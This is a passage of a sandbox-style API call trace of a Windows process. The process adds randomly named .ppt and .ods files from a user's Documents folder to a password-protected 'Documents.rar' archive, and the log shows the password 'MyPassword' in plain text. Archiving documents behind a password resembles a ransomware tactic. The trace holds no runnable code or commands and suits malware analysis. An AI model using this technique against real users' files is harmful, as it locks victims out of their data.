wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x190)) [0068.799] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.799] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14413970756) returned 1 [0068.799] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0xdf94, lpOverlapped=0x0) returned 1 [0068.800] ReadFile (in: hFile=0x1b0, lpBuffer=0x36adfd4, nNumberOfBytesToRead=0xf206c, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36adfd4*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.800] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.800] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.800] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65740 [0068.800] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65770 [0068.800] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65770, Size=0x48) returned 0x39db40 [0068.800] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.800] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65770 [0068.800] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65770, Size=0x48) returned 0x39daf0 [0068.800] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.800] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.800] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65770 [0068.800] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657a0 [0068.800] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b657a0 | out: hHeap=0x2e0000) returned 1 [0068.800] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65770 | out: hHeap=0x2e0000) returned 1 [0068.800] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65740, Size=0x48) returned 0x39db40 [0068.800] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x7b) returned 0x3a3910 [0068.800] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.800] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.801] GetTickCount () returned 0xa677c1 [0068.801] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14414174789) returned 1 [0068.801] GetTickCount () returned 0xa677c1 [0068.801] GetTickCount () returned 0xa677c1 [0068.801] GetTickCount () returned 0xa677c1 [0068.801] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.801] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.801] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.802] ResetEvent (hEvent=0x1a4) returned 1 [0068.802] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.804] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.804] ResetEvent (hEvent=0x1a4) returned 1 [0068.805] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.806] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.806] GetTickCount () returned 0xa677c1 [0068.806] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14414667817) returned 1 [0068.806] GetTickCount () returned 0xa677c1 [0068.806] GetTickCount () returned 0xa677c1 [0068.806] GetTickCount () returned 0xa677c1 [0068.806] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.806] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.806] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.806] ResetEvent (hEvent=0x190) returned 1 [0068.806] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.807] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.807] ResetEvent (hEvent=0x190) returned 1 [0068.807] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.808] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.808] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.808] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.808] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x376500 [0068.808] SetFilePointer (in: hFile=0x198, lDistanceToMove=120, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x376578 [0068.808] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.808] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.808] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.808] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.808] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.808] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0xe010, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0xe010, lpOverlapped=0x0) returned 1 [0068.810] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.810] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.810] SetFilePointer (in: hFile=0x198, lDistanceToMove=3630336, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x376500 [0068.810] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x376500 [0068.810] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65740 [0068.810] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65770 [0068.810] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65770, Size=0x48) returned 0x39daf0 [0068.810] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.810] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65770 [0068.810] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65770, Size=0x48) returned 0x39db40 [0068.810] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.810] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.810] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65770 [0068.810] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657a0 [0068.810] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b657a0 | out: hHeap=0x2e0000) returned 1 [0068.810] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b65770 | out: hHeap=0x2e0000) returned 1 [0068.810] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65740, Size=0x48) returned 0x39daf0 [0068.810] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x7b) returned 0x3a3910 [0068.810] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x78, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x78, lpOverlapped=0x0) returned 1 [0068.810] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65740 [0068.810] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x78) returned 0x3b4c490 [0068.810] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.810] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.810] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x384588 [0068.810] CloseHandle (hObject=0x1b0) returned 1 [0068.810] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.810] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.810] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.810] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.810] FindFirstFileW (in: lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\0L7s8edhd_6mnq.ppt", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.810] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.810] CreateFileW (lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\0L7s8edhd_6mnq.ppt" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\bzepulzpesbclsb0\\0l7s8edhd_6mnq.ppt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.810] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2dfe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.810] GetTickCount () returned 0xa677c1 [0068.810] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.811] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.811] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.811] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.811] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="hoT7s0jqF34TpSdFkEG.ppt") returned 23 [0068.811] SetWindowTextW (hWnd=0x10280, lpString="0L7s8edhd_6mnq.ppt") returned 1 [0068.811] GetTickCount () returned 0xa677c1 [0068.811] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.811] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.811] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.811] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.811] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x19c)) [0068.811] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.811] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14415182972) returned 1 [0068.811] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, lpNumberOfBytesRead=0x1cd8f0*=0x5902, lpOverlapped=0x0) returned 1 [0068.812] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a5942, nNumberOfBytesToRead=0xfa6fe, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a5942*, lpNumberOfBytesRead=0x1cd8f0*=0x0, lpOverlapped=0x0) returned 1 [0068.812] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65770 [0068.812] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657a0 [0068.812] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b657a0, Size=0x48) returned 0x39db40 [0068.812] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.812] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657a0 [0068.812] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b657a0, Size=0x48) returned 0x39daf0 [0068.812] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.812] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.812] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657a0 [0068.812] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657d0 [0068.812] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b657d0 | out: hHeap=0x2e0000) returned 1 [0068.812] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b657a0 | out: hHeap=0x2e0000) returned 1 [0068.812] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65770, Size=0x48) returned 0x39db40 [0068.812] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39db40, Size=0x82) returned 0x3a3910 [0068.812] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.812] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.814] GetTickCount () returned 0xa677c1 [0068.814] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd730 | out: lpPerformanceCount=0x1cd730*=14415422321) returned 1 [0068.814] GetTickCount () returned 0xa677c1 [0068.814] GetTickCount () returned 0xa677c1 [0068.814] GetTickCount () returned 0xa677c1 [0068.814] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.814] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.814] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.814] ResetEvent (hEvent=0x1a4) returned 1 [0068.814] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.815] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.815] ResetEvent (hEvent=0x1a4) returned 1 [0068.815] ReleaseSemaphore (in: hSemaphore=0x1a0, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.816] WaitForSingleObject (hHandle=0x1a4, dwMilliseconds=0xffffffff) returned 0x0 [0068.816] GetTickCount () returned 0xa677d1 [0068.816] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd700 | out: lpPerformanceCount=0x1cd700*=14415665318) returned 1 [0068.816] GetTickCount () returned 0xa677d1 [0068.816] GetTickCount () returned 0xa677d1 [0068.816] GetTickCount () returned 0xa677d1 [0068.816] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.816] PeekMessageW (in: lpMsg=0x1cd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd7d0) returned 0 [0068.816] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.816] ResetEvent (hEvent=0x190) returned 1 [0068.816] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.817] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.817] ResetEvent (hEvent=0x190) returned 1 [0068.817] ReleaseSemaphore (in: hSemaphore=0x19c, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0068.817] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0 [0068.818] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.818] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.818] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5e0*=0) returned 0x384588 [0068.818] SetFilePointer (in: hFile=0x198, lDistanceToMove=127, lpDistanceToMoveHigh=0x1cd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1cd5b0*=0) returned 0x384607 [0068.818] CryptUnprotectMemory (in: pDataIn=0x1cd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cd460) returned 1 [0068.818] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x1cd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0068.818] CryptUnprotectMemory (in: pDataIn=0x1cce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1cce40) returned 1 [0068.818] CryptUnprotectMemory (in: pDataIn=0x1ccf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x1ccf40) returned 1 [0068.819] CryptUnprotectMemory (in: pDataIn=0x1cd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1cd0c0) returned 1 [0068.819] WriteFile (in: hFile=0x198, lpBuffer=0x219fde0*, nNumberOfBytesToWrite=0x5940, lpNumberOfBytesWritten=0x1cd5e0, lpOverlapped=0x0 | out: lpBuffer=0x219fde0*, lpNumberOfBytesWritten=0x1cd5e0*=0x5940, lpOverlapped=0x0) returned 1 [0068.819] PeekMessageW (in: lpMsg=0x1cd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd550) returned 0 [0068.819] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.819] SetFilePointer (in: hFile=0x198, lDistanceToMove=3687816, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x384588 [0068.819] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1c9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1c9c80*=0) returned 0x384588 [0068.819] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65770 [0068.819] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657a0 [0068.819] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b657a0, Size=0x48) returned 0x39daf0 [0068.819] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x30) returned 0x3b49b90 [0068.819] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657a0 [0068.819] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b657a0, Size=0x48) returned 0x39db40 [0068.819] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b49b90 | out: hHeap=0x2e0000) returned 1 [0068.819] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39daf0 | out: hHeap=0x2e0000) returned 1 [0068.819] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657a0 [0068.819] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b657d0 [0068.819] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b657d0 | out: hHeap=0x2e0000) returned 1 [0068.819] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3b657a0 | out: hHeap=0x2e0000) returned 1 [0068.819] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x3b65770, Size=0x48) returned 0x39daf0 [0068.819] RtlReAllocateHeap (Heap=0x2e0000, Flags=0x0, Ptr=0x39daf0, Size=0x82) returned 0x3a3910 [0068.819] WriteFile (in: hFile=0x198, lpBuffer=0x3a3913*, nNumberOfBytesToWrite=0x7f, lpNumberOfBytesWritten=0x1c82c0, lpOverlapped=0x0 | out: lpBuffer=0x3a3913*, lpNumberOfBytesWritten=0x1c82c0*=0x7f, lpOverlapped=0x0) returned 1 [0068.819] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x20) returned 0x3b65770 [0068.820] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x7f) returned 0x3a3a30 [0068.820] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x39db40 | out: hHeap=0x2e0000) returned 1 [0068.820] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x3a3910 | out: hHeap=0x2e0000) returned 1 [0068.820] SetFilePointer (in: hFile=0x198, lDistanceToMove=0, lpDistanceToMoveHigh=0x1cd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd5a0*=0) returned 0x389f47 [0068.820] CloseHandle (hObject=0x1b0) returned 1 [0068.820] PeekMessageW (in: lpMsg=0x1cd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd800) returned 0 [0068.820] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.820] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.820] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0068.820] FindFirstFileW (in: lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b\\jBnkdFwHfylWaZ6YaRt.ods", lpFindFileData=0x1cc660 | out: lpFindFileData=0x1cc660) returned 0x3b5b210 [0068.820] FindClose (in: hFindFile=0x3b5b210 | out: hFindFile=0x3b5b210) returned 1 [0068.820] CreateFileW (lpFileName="XRS5ksD\\BZEpulzPesbCLsb0\\2t61b\\jBnkdFwHfylWaZ6YaRt.ods" (normalized: "c:\\users\\whuoxysd\\documents\\xrs5ksd\\bzepulzpesbclsb0\\2t61b\\jbnkdfwhfylwaz6yart.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x1b0 [0068.820] LoadStringW (in: hInstance=0x13f160000, uID=0x21c, lpBuffer=0x13f2e0230, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0068.820] GetTickCount () returned 0xa677d1 [0068.820] GetWindowTextW (in: hWnd=0x10278, lpString=0x1cd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0068.820] GetDlgItem (hDlg=0x10278, nIDDlgItem=156) returned 0x1027e [0068.820] GetWindowTextW (in: hWnd=0x1027e, lpString=0x1cc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0068.820] GetDlgItem (hDlg=0x10278, nIDDlgItem=155) returned 0x10280 [0068.820] GetWindowTextW (in: hWnd=0x10280, lpString=0x1cc070, nMaxCount=2560 | out: lpString="0L7s8edhd_6mnq.ppt") returned 18 [0068.820] SetWindowTextW (hWnd=0x10280, lpString="jBnkdFwHfylWaZ6YaRt.ods") returned 1 [0068.820] GetTickCount () returned 0xa677d1 [0068.820] UpdateWindow (hWnd=0x10278) returned 1 [0068.820] PeekMessageW (in: lpMsg=0x1cd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1cd8a0) returned 0 [0068.821] CryptAcquireContextW (in: phProv=0x1cd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x1cd850*=0x3025f0) returned 1 [0068.821] CryptGenRandom (in: hProv=0x3025f0, dwLen=0x10, pbBuffer=0x1cd8d0 | out: pbBuffer=0x1cd8d0) returned 1 [0068.821] CryptReleaseContext (hProv=0x3025f0, dwFlags=0x0) returned 1 [0068.821] GetSystemTime (in: lpSystemTime=0x1cd7e8 | out: lpSystemTime=0x1cd7e8*(wYear=0x7e3, wMonth=0x4, wDayOfWeek=0x2, wDay=0x2, wHour=0xc, wMinute=0x4, wSecond=0x1e, wMilliseconds=0x1a6)) [0068.821] SystemTimeToFileTime (in: lpSystemTime=0x1cd7e8, lpFileTime=0x1cd7e0 | out: lpFileTime=0x1cd7e0) returned 1 [0068.821] QueryPerformanceCounter (in: lpPerformanceCount=0x1cd810 | out: lpPerformanceCount=0x1cd810*=14416145970) returned 1 [0068.821] ReadFile (in: hFile=0x1b0, lpBuffer=0x36a0040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x1cd8f0, lpOverlapped=0x0 | out: lpBuffer=0x36a0040*, 